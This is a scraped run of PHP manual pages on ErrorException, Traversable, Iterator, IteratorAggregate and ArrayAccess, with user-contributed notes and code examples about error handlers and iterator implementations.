        public static $LIST = array();

        private function __construct() {}

        public static function initiate( $log = false ) {
            set_error_handler( 'error::err_handler' );
            set_exception_handler( 'error::exc_handler' );
            if ( $log !== false ) {
                if ( ! ini_get('log_errors') )
                    ini_set('log_errors', true);
                if ( ! ini_get('error_log') )
                    ini_set('error_log', $log);
            }
        }

        public static function err_handler($errno, $errstr, $errfile, $errline, $errcontext) {
            $l = error_reporting();
            if ( $l & $errno ) {

                $exit = false;
                switch ( $errno ) {
                    case E_USER_ERROR:
                        $type = 'Fatal Error';
                        $exit = true;
                    break;
                    case E_USER_WARNING:
                    case E_WARNING:
                        $type = 'Warning';
                    break;
                    case E_USER_NOTICE:
                    case E_NOTICE:
                    case @E_STRICT:
                        $type = 'Notice';
                    break;
                    case @E_RECOVERABLE_ERROR:
                        $type = 'Catchable';
                    break;
                    default:
                        $type = 'Unknown Error';
                        $exit = true;
                    break;
                }

                $exception = new \ErrorException($type.': '.$errstr, 0, $errno, $errfile, $errline);

                if ( $exit ) {
                    exc_handler($exception);
                    exit();
                }
                else
                    throw $exception;
            }
            return false;
        }

        function exc_handler($exception) {
            $log = $exception->getMessage() . "\n" . $exception->getTraceAsString() . LINEBREAK;
            if ( ini_get('log_errors') )
                error_log($log, 0);
            print("Unhandled Exception" . (DEBUG ? " - $log" : ''));
        }

    }
?>
gozlan at nett dot co dot il 01-Jun-2009 03:00
If you want to control when the exception will be display or when not, you can change the value and enter if condition statement:

<?php
function lockdown($exception)
{
    echo " <strong>lockdown:</strong> " , $exception->getMessage();
}

$lockdown = true; //you can change to false if you want to disable the lockdown.
if ($lockdown){
set_exception_handler('lockdown');
throw new Exception('the website is under construction, we will be back soon');
}
?>

the output will be:
lockdown: the website is under construcytion, we will be back soon

and nothing else will be shown in the entire website, just the lockdown comment.
e dot sand at elisand dot com 26-Feb-2009 11:11
If you're looking for a quick one-line way to change all errors in to Exceptions, you can do it this way:

set_error_handler(create_function('$a, $b, $c, $d', 'throw new ErrorException($b, 0, $a, $c, $d);'), E_ALL);

using create_function() saves you a few lines of code by embedding it all in to a single line, plus saves your namespace from a function name that should only ever be called in the event of an error (this saves from direct invocation).
luke at cywh dot com 23-Feb-2009 11:56
To add to the comments made by chris AT cmbuckley DOT co DOT uk about the ErrorException problem with args:

I noticed that the problem is in the ErrorException class itself, not the Exception class. When using just the exception class, it's no longer an issue. Besides the args problem, the only difference between Exception and ErrorException in the stack trace is that the args are left out of the error handler exception function. I'm not sure if this was on purpose or not, but it shouldn't hurt to show this information anyway.

So instead of using this broken extended class, you can ignore it and make your own extended class and avoid the problem all together:

<?php

header('Content-Type: text/plain');

class ErrorHandler extends Exception {
    protected $severity;

    public function __construct($message, $code, $severity, $filename, $lineno) {
        $this->message = $message;
        $this->code = $code;
        $this->severity = $severity;
        $this->file = $filename;
        $this->line = $lineno;
    }

    public function getSeverity() {
        return $this->severity;
    }
}

function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorHandler($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler", E_ALL);

function A() {
    $foo->bar; // Purposely cause error
}

function B($c) {
    A();
}

try {
    B('foobar');
} catch (Exception $e) {
    var_dump($e->getTrace());
}

?>

The only thing I wish I could do was remove the entry for the error handler function because it's quite irrelevant. Maybe that's what they were trying to do with the ErrorException class? Either way, you can't change it because the trace functions are final, and the variable is private.
chris AT cmbuckley DOT co DOT uk 13-Nov-2008 04:24
The backtrace of ErrorException is broken in PHP 5.2 (listed at http://bugs.php.net/bug.php?id=46449 and explained at http://bugs.php.net/bug.php?id=45895#c140511).

A simple fix for your exception handler:

<?php
$backtrace = $exception->getTrace();

if ($exception instanceof ErrorException) {
    for ($i = count($backtrace) - 1; $i > 0; --$i) {
        $backtrace[$i]['args'] = $backtrace[$i - 1]['args'];
    }
}
?>
makariverslund at gmail dot com 10-Sep-2008 06:08
Building upon the notes present, here is a set of functions that transforms the error into an exception and reports the error to screen / log depending upon the PHP ini settings.

//Begin helper function definition
function ReportError ($msg)
{
    // be sure that the supplied parameter is a string and not empty
    if (empty ($msg) || !is_string ($msg))
    {
        throw new ErrorException ('Invalid parameter supplied to ReportError', 0, E_ERROR);
    }

    // retrieve error settings
    $display    = strtolower (ini_get ('display_errors'));
    $log        = strtolower (ini_get ('log_errors'));

    // check if we're displaying errors
    if ($display === 'on' || $display === '1' || $display === 1 || $display === 'true' || $display === true)
    {
        echo $msg;
    }

    // check if we're logging errors
    if ($log === 'on' || $log === '1' || $log === 1 || $log === 'true' || $log === true)
    {
        $result = error_log ($msg);

        // check for error while logging
        if (!$result)
        {
            throw new ErrorException ('Attempt to write message to error log failed in ReportError', 0, E_ERROR);
        }
    }
}

//Begin main function definition
function ErrorsAsExceptions ($level, $msg, $fileName, $lineNumber)
{
    // do nothing if error reporting is turned off
    if (error_reporting () === 0)
    {
        return;
    }

    // be sure received error is supposed to be reported
    if (error_reporting () & $level)
    {
        try
        {
            // report error to appropriate channels
            ReportError ($reportMsg);
        }
        catch (ErrorException $e)
        {
            // ignore errors while reporting
        }

        // go ahead and throw the exception
        throw new ErrorException ($msg, 0, $level, $fileName, $lineNumber);
    }
}
troelskn at gmail dot com 29-Jul-2008 04:08
The following snippet installs an error-handler that turns errors into exceptions. It respects error-reporting level, so that you can still use error-suppression:

<?php
function exceptions_error_handler($severity, $message, $filename, $lineno) {
  if (error_reporting() == 0) {
    return;
  }
  if (error_reporting() & $severity) {
    throw new ErrorException($message, 0, $severity, $filename, $lineno);
  }
}
set_error_handler('exceptions_error_handler');
?>
Exception::__clone
ErrorException::__construct
Predefined Exceptions


Constructs the exception

ErrorException
ErrorException::getSeverity
ErrorException
PHP Manual

ErrorException::__construct

(PHP 5 >= 5.1.0)

ErrorException::__construct — Constructs the exception

Description

public ErrorException::__construct() ([ string $message = "" [, int $code = 0 [, int $severity = 1 [, string $filename = __FILE__ [, int $lineno = __LINE__ [, Exception $previous = NULL ]]]]]] )

Constructs the Exception.

Parameters

message

The Exception message to throw.

code

The Exception code.

severity

The severity level of the exception.

filename

The filename where the exception is thrown.

lineno

The line number where the exception is thrown.

previous

The previous exception used for the exception chaining.

User Contributed Notes

There are no user contributed notes for this page.
ErrorException
ErrorException::getSeverity
ErrorException


Gets the exception severity

ErrorException::__construct
Predefined Interfaces
ErrorException
PHP Manual

ErrorException::getSeverity

(PHP 5 >= 5.1.0)

ErrorException::getSeverity — Gets the exception severity

Description

final public int ErrorException::getSeverity ( void )

Returns the severity of the exception.

Parameters

This function has no parameters.

Return Values

Returns the severity level of the exception.

Examples

Example #1 ErrorException::getSeverity() example

<?php
try {
    throw new ErrorException("Exception message", 0, 75);
} catch(ErrorException $e) {
    echo "This exception severity is: " . $e->getSeverity();
}
?>

The above example will output something similar to:

This exception severity is: 75

User Contributed Notes

fgaab 08-Mar-2010 06:38
Try this as replacement for error_reporting(...)

<?php
    function exception_error_handler($errno, $errstr, $errfile, $errline ) {
        $severity =
            1 * E_ERROR |
            1 * E_WARNING |
            0 * E_PARSE |
            0 * E_NOTICE |
            0 * E_CORE_ERROR |
            0 * E_CORE_WARNING |
            0 * E_COMPILE_ERROR |
            0 * E_COMPILE_WARNING |
            0 * E_USER_ERROR |
            0 * E_USER_WARNING |
            0 * E_USER_NOTICE |
            0 * E_STRICT |
            0 * E_RECOVERABLE_ERROR |
            0 * E_DEPRECATED |
            0 * E_USER_DEPRECATED;
        $ex = new ErrorException($errstr, 0, $errno, $errfile, $errline);
        if (($ex->getSeverity() & $severity) != 0) {
                       throw $ex;
                }
    }
    set_error_handler("exception_error_handler");
?>
ErrorException::__construct
Predefined Interfaces
ErrorException


Predefined Interfaces

Table of Contents

  • Traversable
  • Iterator
  • IteratorAggregate
  • ArrayAccess
  • Serializable
  • Closure

See also the SPL Interfaces

User Contributed Notes

There are no user contributed notes for this page.
ErrorException::getSeverity
Traversable
Language Reference


The Traversable interface

(No version information available, might only be in SVN)

Introduction

Interface to detect if a class is traversable using foreach.

Abstract base interface that cannot be implemented alone. Instead it must be implemented by either IteratorAggregate or Iterator.

Note:

Internal (built-in) classes that implement this interface can be used in a foreach construct and do not need to implement IteratorAggregate or Iterator.

Note:

This is an internal engine interface which cannot be implemented in PHP scripts. Either IteratorAggregate or Iterator must be used instead.

Interface synopsis

Traversable {
}

This interface has no methods, its only purpose is to be the base interface for all traversable classes.

User Contributed Notes

kevinpeno at gmail dot com 02-Aug-2010 10:06
While you cannot implement this interface, you can use it in your checks to determine if something is usable in for each. Here is what I use if I'm expecting something that must be iterable via foreach.

<?php
    if( !is_array( $items ) && !$items instanceof Traversable )
        //Throw exception here
?>
Predefined Interfaces
Iterator
Predefined Interfaces


The Iterator interface

(PHP 5 >= 5.0.0)

Introduction

Interface for external iterators or objects that can be iterated themselves internally.

Interface synopsis

Iterator extends Traversable {
/* Methods */
abstract public mixed current ( void )
abstract public scalar key ( void )
abstract public void next ( void )
abstract public void rewind ( void )
abstract public boolean valid ( void )
}

Example #1 Basic usage

This example demonstrates in which order methods are called when using foreach with an iterator.

<?php
class myIterator implements Iterator {
    private $position = 0;
    private $array = array(
        "firstelement",
        "secondelement",
        "lastelement",
    );

    public function __construct() {
        $this->position = 0;
    }

    function rewind() {
        var_dump(__METHOD__);
        $this->position = 0;
    }

    function current() {
        var_dump(__METHOD__);
        return $this->array[$this->position];
    }

    function key() {
        var_dump(__METHOD__);
        return $this->position;
    }

    function next() {
        var_dump(__METHOD__);
        ++$this->position;
    }

    function valid() {
        var_dump(__METHOD__);
        return isset($this->array[$this->position]);
    }
}

$it = new myIterator;

foreach($it as $key => $value) {
    var_dump($key, $value);
    echo "\n";
}
?>

The above example will output something similar to:

string(18) "myIterator::rewind"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(0)
string(12) "firstelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(1)
string(13) "secondelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(2)
string(11) "lastelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"

Table of Contents

  • Iterator::current — Return the current element
  • Iterator::key — Return the key of the current element
  • Iterator::next — Move forward to next element
  • Iterator::rewind — Rewind the Iterator to the first element
  • Iterator::valid — Checks if current position is valid

User Contributed Notes

dwlnetnl at users dot sourceforge dot net 02-Oct-2011 02:06
Be aware that when you call a method like current($this) within the Iterator class, the properties of the class are returned and the Iterator's current() isn't called. This is because current() applies to arrays and the Iterator class is then interpretated as an array.
ct 28-Jul-2011 12:00
<?php

/*
 * An implementation of the Iterator
 * with simpleXML to remove a node and generate a new XML file.
 *
 * project.xml file:
 * <?xml version="1.0" encoding="UTF-8"?>
 * ...
 * <data>
 *  <item>
 *      <value>one</value>
 *  </item>
 *  <item>
 *      <value>two</value>
 *  </item>
 *  ...
 * </data>
 *
 */

class parseXML implements Iterator {

    private $position;
    private $xml;
    public $item;

    public function __construct() {

        $this->position = 0;
        $this->xml = simplexml_load_file('project.xml');

    }

    public function unsetItem() {

        foreach ($this as $key => $value) {

            if ($value->value == $this->item ) {

                unset($this->xml->data->item[$key]);

            }
        }

        $this->mkXML();
    }

    public function mkXML() {

        file_put_contents('project.xml', $this->xml->asXML() );

    }

    function rewind() {
        $this->position = 0;
    }

    function current() {
        return $this->xml->data->item[$this->position];
    }

    function key() {
        return $this->position;
    }

    function next() {
        ++$this->position;
    }

    function valid() {
        return isset($this->xml->data->item[$this->position]);
    }

}

$itemRemove = new parseXML();

$itemRemove->item = "one";

$itemRemove->unsetItem();

?>
geompse at gmail dot com 03-Jul-2011 06:43
Be carefull with Iterator when using nested loops or deleting items inside the collection while looping over it.
It can be tricky to detect.
This unexpected behavior is pertinent if you think about it long enough.

<?php

foreach($it as $key => $value)
    echo $value;
#output: value1, value2, value3

foreach($it as $key => $value)
    foreach($it as $key => $value)
        echo $value;
#output: value1, value2, value3

foreach($it as $key => $value)
    foreach(clone $it as $key => $value)
        echo $value;
#output: value1, value2, value3, value1, value2, value3, value1, value2, value3

foreach($it as $key => $value)
{
    echo $value;
    array_shift($it->values);
}
#ouput: value1, value3

?>
kent at marketacumen dot com 13-Dec-2010 01:15
For Iterators implement database queries, what I've found is that if you want to chain multiple iterators together using a "MultipleIterator" then you *do not* want ::rewind() to actually execute your query, especially if it's expensive.

Instead, what I've done is implement that portion in "valid."

e.g.

<?php
class Database_Result_Iterator {
    ...
    private $_db_resource = null;
    private $_loaded = false;
    private $_valid = false;

    function rewind() {
        if ($this->_db_resource) {
            mysql_free($this->_db_resource);
            $this->_db_resource = null;
        }
        $this->_loaded = false;
        $this->_valid = false;
    }

    function valid() {
        if ($this->_loaded) {
            $this->load();
        }
        return $this->_valid;
    }

    private function load() {
        $this->_db_resource = mysql_query(...);
        $this->_loaded = true;
        $this->next(); // Sets _valid
    }
}
?>

That way if you chain multiple queries in a "MultipleIterator" together, the "rewind" call (which rewinds all iterators at once) does not execute every query at once.

In addition, I found that the MultipleIterator may now work best for other reasons, but still, the above is a good idea to postpone queries until the last possible moment they are needed.
robert_e_lee at dell dot com 11-Mar-2010 10:08
Order of operations when using a foreach loop:

1. Before the first iteration of the loop, Iterator::rewind() is called.
2. Before each iteration of the loop, Iterator::valid() is called.
3a. It Iterator::valid() returns false, the loop is terminated.
3b. If Iterator::valid() returns true, Iterator::current() and
Iterator::key() are called.
4. The loop body is evaluated.
5. After each iteration of the loop, Iterator::next() is called and we repeat from step 2 above.

This is roughly equivalent to:

<?php
$it->rewind();

while ($it->valid())
{
    $key = $it->key();
    $value = $it->current();

    // ...

    $it->next();
}
?>

The loop isn't terminated until Iterator::valid() returns false or the body of the loop executes a break statement.

The only two methods that are always executed are Iterator::rewind() and Iterator::valid() (unless rewind throws an exception).

The Iterator::next() method need not return anything. It is defined as returning void. On the other hand, sometimes it is convenient for this method to return something, in which case you can do so if you want.

If your iterator is doing something expensive, like making a database query and iterating over the result set, the best place to make the query is probably in the Iterator::rewind() implementation.

In this case, the construction of the iterator itself can be cheap, and after construction you can continue to set the properties of the query all the way up to the beginning of the foreach loop since the
Iterator::rewind() method isn't called until then.

Things to keep in mind when making a database result set iterator:

* Make sure you close your cursor or otherwise clean up any previous query at the top of the rewind method. Otherwise your code will break if the same iterator is used in two consecutive foreach loops when the first loop terminates with a break statement before all the results are iterated over.

* Make sure your rewind() implementation tries to grab the first result so that the subsequent call to valid() will know whether or not the result set is empty. I do this by explicitly calling next() from the end of my rewind() implementation.

* For things like result set iterators, there really isn't always a "key" that you can return, unless you know you have a scalar primary key column in the query. Unfortunately, there will be cases where either the iterator doesn't know the primary key column because it isn't providing the query, the nature of the query is such that a primary key isn't applicable, the iterator is iterating over a table that doesn't have one, or the iterator is iterating over a table that has a compound primary key. In these cases, key() can return either:
the row index (based on a simple counter that you provide), or can simply return null.

Iterators can also be used to:

* iterate over the lines of a file or rows of a CSV file
* iterate over the characters of a string
* iterate over the tokens in an input stream
* iterate over the matches returned by an xpath expression
* iterate over the matches returned by a regexp
* iterate over the files in a folder
* etc...
Anthony Sterling 17-Sep-2009 02:20
Here's a Fibonacci example using the formula, rather than addition.

<?php
/**
 * @author    Anthony Sterling
 */
class FibonacciSequence implements Iterator
{
    protected
        $limit        = 0;

    protected
        $key        = 0;

    public function __construct($limit = 0)
    {
        $this->limit = (integer)$limit;
    }

    public function current()
    {
        return round(
            (pow(((1 + sqrt(5)) / 2), $this->key) - pow((-1 / (1 + sqrt(5)) / 2), $this->key)) / sqrt(5),
            null
        );
    }

    public function key()
    {
        return $this->key;
    }

    public function next()
    {
        $this->key++;
    }

    public function rewind()
    {
        $this->key = 0;
    }

    public function valid()
    {
        return $this->key < $this->limit;
    }
}

foreach(new FibonacciSequence() as $number)
{
    printf(
        '%d<br />',
        $number
    );
}
/*
    0
    1
    1
    2
    3
    5
    8
    13
    21
    34
    55
    89
    144
    233
    377
    610
    987
    1597
    2584
    4181
    6765
    10946
    17711
    28657
    46368
    75025
    121393
    196418
    317811
    514229
*/
?>

Anthony.
Geoffrey Sneddon 23-May-2009 10:42
So, playing around with iterators in PHP (coming from languages where I'm spoiled with generators to do things like this), I wrote a quick piece of code to give the Fibonacci sequence (to infinity, though only the first terms up to F_{10} are output).

<?php

class Fibonacci implements Iterator {
    private $previous = 1;
    private $current = 0;
    private $key = 0;

    public function current() {
        return $this->current;
    }

    public function key() {
        return $this->key;
    }

    public function next() {
        $newprevious = $this->current;
        $this->current += $this->previous;
        $this->previous = $newprevious;
        $this->key++;
    }

    public function rewind() {
        $this->previous = 1;
        $this->current = 0;
        $this->key = 0;
    }

    public function valid() {
        return true;
    }
}

$seq = new Fibonacci;
$i = 0;
foreach ($seq as $f) {
    echo "$f\n";
    if ($i++ === 10) break;
}
?>
RocketInABog at techno-monks dot net 11-May-2009 04:35
<?php
# - Here is an implementation of the Iterator interface for arrays
#     which works with maps (key/value pairs)
#     as well as traditional arrays
#     (contiguous monotonically increasing indexes).
#   Though it pretty much does what an array
#     would normally do within foreach() loops,
#     this class may be useful for using arrays
#     with code that generically/only supports the
#     Iterator interface.
#  Another use of this class is to simply provide
#     object methods with tightly controlling iteration of arrays.

class tIterator_array implements Iterator {
  private $myArray;

  public function __construct( $givenArray ) {
    $this->myArray = $givenArray;
  }
  function rewind() {
    return reset($this->myArray);
  }
  function current() {
    return current($this->myArray);
  }
  function key() {
    return key($this->myArray);
  }
  function next() {
    return next($this->myArray);
  }
  function valid() {
    return key($this->myArray) !== null;
  }
}

?>
mike dot thornton at firstroi dot com 05-May-2009 01:40
It's important to note that following won't work if you have null values.

<?php
    function valid() {
        var_dump(__METHOD__);
        return isset($this->array[$this->position]);
    }
?>

Other examples have shown the following which won't work if you have false values:

<?php
    function valid() {
        return $this->current() !== false;
    }
?>

Instead use:

<?php
    function valid() {
        return array_key_exists($this->array, $this->position);
    }
?>

Or the following if you do not store the position.

<?php
    public function valid() {
        return !is_null(key($this->array));
    }
?>
nullhility at gmail dot com 19-Feb-2009 07:13
Because the purpose of the above example is to illustrate the foreach statement's call sequence I made my own example of the Iterator interface just to give other user's some idea of possible solutions that might benefit from the interface.

<?php
class MysqlResult implements Iterator
{
    private $result;
    private $position;
    private $row_data;

    public function __construct ($result)
    {
        $this->result = $result;
        $this->position = 0;
    }

    public function current ()
    {
        return $this->row_data;
    }

    public function key ()
    {
        return $this->position;
    }

    public function next ()
    {
        $this->position++;
        $this->row_data = mysql_fetch_assoc($this->result);
    }

    public function rewind ()
    {
        $this->position = 0;
        mysql_data_seek($this->result, 0);

        /* The initial call to valid requires that data
            pre-exists in $this->row_data
        */
        $this->row_data = mysql_fetch_assoc($this->result);
    }

    public function valid ()
    {
        return (boolean) $this->row_data;
    }
}
$link = mysql_connect("localhost", "user");
mysql_select_db('example_db', $link);
$result = new MysqlResult(mysql_query("SELECT * FROM `example_tbl`"));
foreach ($result as $pos => $row) {
    var_dump($pos, $row);
}
?>
http://chanibal.net 28-Jan-2009 08:11
For anyone interested in how exactly does a iterator work in a foreach:

<?php
class SomeIterator implements Iterator {/*...implement...*/}

$it=new SomeIterator();
foreach($it as $key => $val) {
    print "{$key}=>{$val}\n";
}

// works exactly the same as

$it=new SomeIterator();
for(
    $it->rewind();
    $it->valid();
    $val=$it->current(), $key=$it->key(), $it->next()
) {
    print "{$key}=>{$val}\n";
}

// and if someone forgot how for(;;) works...

$it=new SomeIterator();
$it->rewind;
while($it->valid()) {
    $val=$it->current();
    $key=$it->key();
    $it->next();

    print "{$key}=>{$val}\n";
}
?>
Traversable
Iterator::current
Predefined Interfaces


Return the current element

Iterator
Iterator::key
Iterator
PHP Manual

Iterator::current

(PHP 5 >= 5.0.0)

Iterator::current — Return the current element

Description

abstract public mixed Iterator::current ( void )

Returns the current element.

Parameters

This function has no parameters.

Return Values

Can return any type.

User Contributed Notes

There are no user contributed notes for this page.
Iterator
Iterator::key
Iterator


Return the key of the current element

Iterator::current
Iterator::next
Iterator
PHP Manual

Iterator::key

(PHP 5 >= 5.0.0)

Iterator::key — Return the key of the current element

Description

abstract public scalar Iterator::key ( void )

Returns the key of the current element.

Parameters

This function has no parameters.

Return Values

Returns scalar on success, or NULL on failure.

Errors/Exceptions

Issues E_NOTICE on failure.

User Contributed Notes

Anonymous 26-May-2011 03:40
Be careful, the returned value must be a scalar! Took me a while to figure out why foreach() doesn't work on my class that handles arrays with object keys...
Iterator::current
Iterator::next
Iterator


Move forward to next element

Iterator::key
Iterator::rewind
Iterator
PHP Manual

Iterator::next

(PHP 5 >= 5.0.0)

Iterator::next — Move forward to next element

Description

abstract public void Iterator::next ( void )

Moves the current position to the next element.

Note:

This method is called after each foreach loop.

Parameters

This function has no parameters.

Return Values

Any returned value is ignored.

User Contributed Notes

There are no user contributed notes for this page.
Iterator::key
Iterator::rewind
Iterator


Rewind the Iterator to the first element

Iterator::next
Iterator::valid
Iterator
PHP Manual

Iterator::rewind

(PHP 5 >= 5.0.0)

Iterator::rewind — Rewind the Iterator to the first element

Description

abstract public void Iterator::rewind ( void )

Rewinds back to the first element of the Iterator.

Note:

This is the first method called when starting a foreach loop. It will not be executed after foreach loops.

Parameters

This function has no parameters.

Return Values

Any returned value is ignored.

User Contributed Notes

There are no user contributed notes for this page.
Iterator::next
Iterator::valid
Iterator


Checks if current position is valid

Iterator::rewind
IteratorAggregate
Iterator
PHP Manual

Iterator::valid

(PHP 5 >= 5.0.0)

Iterator::valid — Checks if current position is valid

Description

abstract public boolean Iterator::valid ( void )

This method is called after Iterator::rewind() and Iterator::next() to check if the current position is valid.

Parameters

This function has no parameters.

Return Values

The return value will be casted to boolean and then evaluated. Returns TRUE on success or FALSE on failure.

User Contributed Notes

hyponiq at gmail dot com 26-Sep-2011 04:12
Take consideration when utilizing this method and using the returned value of isset([value]). The value of isset([value]) will be false for null values.

I ran into this problem when checking isset([value]) against array elements whose value was null.

Example:
<?php
$array = array(null, 1, 2, 3);
$isSet = isset($array[0]);
var_dump($isSet); // output: boolean(false)

class AClass {
    public $array = (null, 1, 2, 3);
    function valid() {
        return isset($this->array[0]);
    }
}

$class = new AClass;
var_dump($class->valid()); // output: boolean(false)
?>
seva dot lapsha at gmail dot com 01-Aug-2009 06:19
If Iterator::valid() returns false, the foreach() loop will be terminated.
Iterator::rewind
IteratorAggregate
Iterator


The IteratorAggregate interface

(PHP 5 >= 5.0.0)

Introduction

Interface to create an external Iterator.

Interface synopsis

IteratorAggregate extends Traversable {
/* Methods */
abstract public Traversable getIterator ( void )
}

Example #1 Basic usage

<?php
class myData implements IteratorAggregate {
    public $property1 = "Public property one";
    public $property2 = "Public property two";
    public $property3 = "Public property three";

    public function __construct() {
        $this->property4 = "last property";
    }

    public function getIterator() {
        return new ArrayIterator($this);
    }
}

$obj = new myData;

foreach($obj as $key => $value) {
    var_dump($key, $value);
    echo "\n";
}
?>

The above example will output something similar to:

string(9) "property1"
string(19) "Public property one"

string(9) "property2"
string(19) "Public property two"

string(9) "property3"
string(21) "Public property three"

string(9) "property4"
string(13) "last property"

Table of Contents

  • IteratorAggregate::getIterator — Retrieve an external iterator

User Contributed Notes

There are no user contributed notes for this page.
Iterator::valid
IteratorAggregate::getIterator
Predefined Interfaces


Retrieve an external iterator

IteratorAggregate
ArrayAccess
IteratorAggregate
PHP Manual

IteratorAggregate::getIterator

(PHP 5 >= 5.0.0)

IteratorAggregate::getIterator — Retrieve an external iterator

Description

abstract public Traversable IteratorAggregate::getIterator ( void )

Returns an external iterator.

Parameters

This function has no parameters.

Return Values

An instance of an object implementing Iterator or Traversable

Errors/Exceptions

Throws an Exception on failure.

User Contributed Notes

There are no user contributed notes for this page.
IteratorAggregate
ArrayAccess
IteratorAggregate


The ArrayAccess interface

(PHP 5 >= 5.0.0)

Introduction

Interface to provide accessing objects as arrays.

Interface synopsis

ArrayAccess {
/* Methods */
abstract public boolean offsetExists ( mixed $offset )
abstract public mixed offsetGet ( mixed $offset )
abstract public void offsetSet ( mixed $offset , mixed $value )
abstract public void offsetUnset ( mixed $offset )
}

Example #1 Basic usage

<?php
class obj implements arrayaccess {
    private $container = array();
    public function __construct() {
        $this->container = array(
            "one"   => 1,
            "two"   => 2,
            "three" => 3,
        );
    }
    public function offsetSet($offset, $value) {
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            $this->container[$offset] = $value;
        }
    }
    public function offsetExists($offset) {
        return isset($this->container[$offset]);
    }
    public function offsetUnset($offset) {
        unset($this->container[$offset]);
    }
    public function offsetGet($offset) {
        return isset($this->container[$offset]) ? $this->container[$offset] : null;
    }
}

$obj = new obj;

var_dump(isset($obj["two"]));
var_dump($obj["two"]);
unset($obj["two"]);
var_dump(isset($obj["two"]));
$obj["two"] = "A value";
var_dump($obj["two"]);
$obj[] = 'Append 1';
$obj[] = 'Append 2';
$obj[] = 'Append 3';
print_r($obj);
?>

The above example will output something similar to:

bool(true)
int(2)
bool(false)
string(7) "A value"
obj Object
(
    [container:obj:private] => Array
        (
            [one] => 1
            [three] => 3
            [two] => A value
            [0] => Append 1
            [1] => Append 2
            [2] => Append 3
        )

)

Table of Contents

  • ArrayAccess::offsetExists — Whether a offset exists
  • ArrayAccess::offsetGet — Offset to retrieve
  • ArrayAccess::offsetSet — Offset to set
  • ArrayAccess::offsetUnset — Offset to unset

User Contributed Notes

Per 20-May-2011 02:16
It bit me today, so putting it here in the hope it will help others:
If you call array_key_exists() on an object of a class that implements ArrayAccess, ArrayAccess::offsetExists() wil NOT be called.
uramihsayibok, gmail, com 05-Aug-2010 03:34
EDITOR NOTE: You can return by reference in offsetGet as of PHP 5.3.4.

If you find yourself facing the dreaded "Indirect modification of overloaded element of $class has no effect" then don't worry too much: there's a clever solution. While you *CANNOT* return by-reference with offsetGet, you can return objects which _also_ implement ArrayAccess...

Example:
<?php

// sanity and error checking omitted for brevity
// note: it's a good idea to implement arrayaccess + countable + an
// iterator interface (like iteratoraggregate) as a triplet

class RecursiveArrayAccess implements ArrayAccess {

    private $data = array();

    // necessary for deep copies
    public function __clone() {
        foreach ($this->data as $key => $value) if ($value instanceof self) $this[$key] = clone $value;
    }

    public function __construct(array $data = array()) {
        foreach ($data as $key => $value) $this[$key] = $value;
    }

    public function offsetSet($offset, $data) {
        if (is_array($data)) $data = new self($data);
        if ($offset === null) { // don't forget this!
            $this->data[] = $data;
        } else {
            $this->data[$offset] = $data;
        }
    }

    public function toArray() {
        $data = $this->data;
        foreach ($data as $key => $value) if ($value instanceof self) $data[$key] = $value->toArray();
        return $data;
    }

    // as normal
    public function offsetGet($offset) { return $this->data[$offset]; }
    public function offsetExists($offset) { return isset($this->data[$offset]); }
    public function offsetUnset($offset) { unset($this->data); }

}

$a = new RecursiveArrayAccess();
$a[0] = array(1=>"foo", 2=>array(3=>"bar", 4=>array(5=>"bz")));
// oops. typo
$a[0][2][4][5] = "baz";

//var_dump($a);
//var_dump($a->toArray());

// isset and unset work too
//var_dump(isset($a[0][2][4][5])); // equivalent to $a[0][2][4]->offsetExists(5)
//unset($a[0][2][4][5]); // equivalent to $a[0][2][4]->offsetUnset(5);

// if __clone wasn't implemented then cloning would produce a shallow copy, and
$b = clone $a;
$b[0][2][4][5] = "xyzzy";
// would affect $a's data too
//echo $a[0][2][4][5]; // still "baz"

?>
max at flashdroid dot com 05-Apr-2010 06:49
Objects implementing ArrayAccess may return objects by references in PHP 5.3.0.

You can implement your ArrayAccess object like this:

    class Reflectable implements ArrayAccess {

        public function set($name, $value) {
            $this->{$name} = $value;
        }

        public function &get($name) {
            return $this->{$name};
        }

        public function offsetGet($offset) {
            return $this->get($offset);
        }

        public function offsetSet($offset, $value) {
            $this->set($offset, $value);
        }

        ...

    }

This base class allows you to get / set your object properties using the [] operator just like in Javascript:

    class Boo extends Reflectable {
        public $name;
    }

    $obj = new Boo();
    $obj['name'] = "boo";
    echo $obj['name']; // prints boo
Cintix 29-Oct-2009 01:32
To take full advantages of all array features with ArrayAccess, then you would need to implements Countable and Iterator

Like this.

<?php

class ArrayOfColorModel implements ArrayAccess, Iterator, Countable {
    private $container = array();

    public function __construct() {
    }

    public function offsetSet($offset,$value) {
         if ($value instanceof ColorModel){
            if ($offset == "") {
                $this->container[] = $value;
            }else {
                $this->container[$offset] = $value;
            }
        } else {
            throw new Exception("Value have to be a instance of the Model ColorModel");
        }
    }

    public function offsetExists($offset) {
     return isset($this->container[$offset]);
    }

    public function offsetUnset($offset) {
        unset($this->container[$offset]);
    }

    public function offsetGet($offset) {
        return isset($this->container[$offset]) ? $this->container[$offset] : null;
    }

    public function rewind() {
        reset($this->container);
    }

    public function current() {
        return current($this->container);
    }

    public function key() {
        return key($this->container);
    }

    public function next() {
        return next($this->container);
    }

    public function valid() {
        return $this->current() !== false;
    }

    public function count() {
     return count($this->container);
    }

}

?>

Now you can using it like any other array.

<?php

   $array = new ArrayOfColorModel();
   foreach ($array as $model) {
        var_export($model);
   }

   // OR

   for($i=0;$i<count($array);$i++){
        var_export($array[$i]);
   }

?>
AryehGregor+php-comment at gmail dot com 08-Jan-2009 05:33
Note that at least in PHP 5.1, objects implementing ArrayAccess cannot return objects by reference.  See http://bugs.php.net/bug.php?id=34783 .  If you have code like

<?php
$x = &$y[0];
?>

then this will (as far as I can tell) *always* fail unless $y is a real array -- it cannot work if $y is an object implementing ArrayAccess.  If your offsetGet() function returns by reference, you get the fatal error "Declaration of MyClass::offsetGet() must be compatible with that of ArrayAccess::offsetGet()".  If you try to have it return by value, however, you get the (contradictory) fatal error "Objects used as arrays in post/pre increment/decrement must return values by reference", at least in my version of PHP.

It is therefore not possible to take arbitrary code dealing with arrays and try to substitute an object of your own for an array, even if all of the normal array functions didn't fail as well (which they do, or at least some of them).
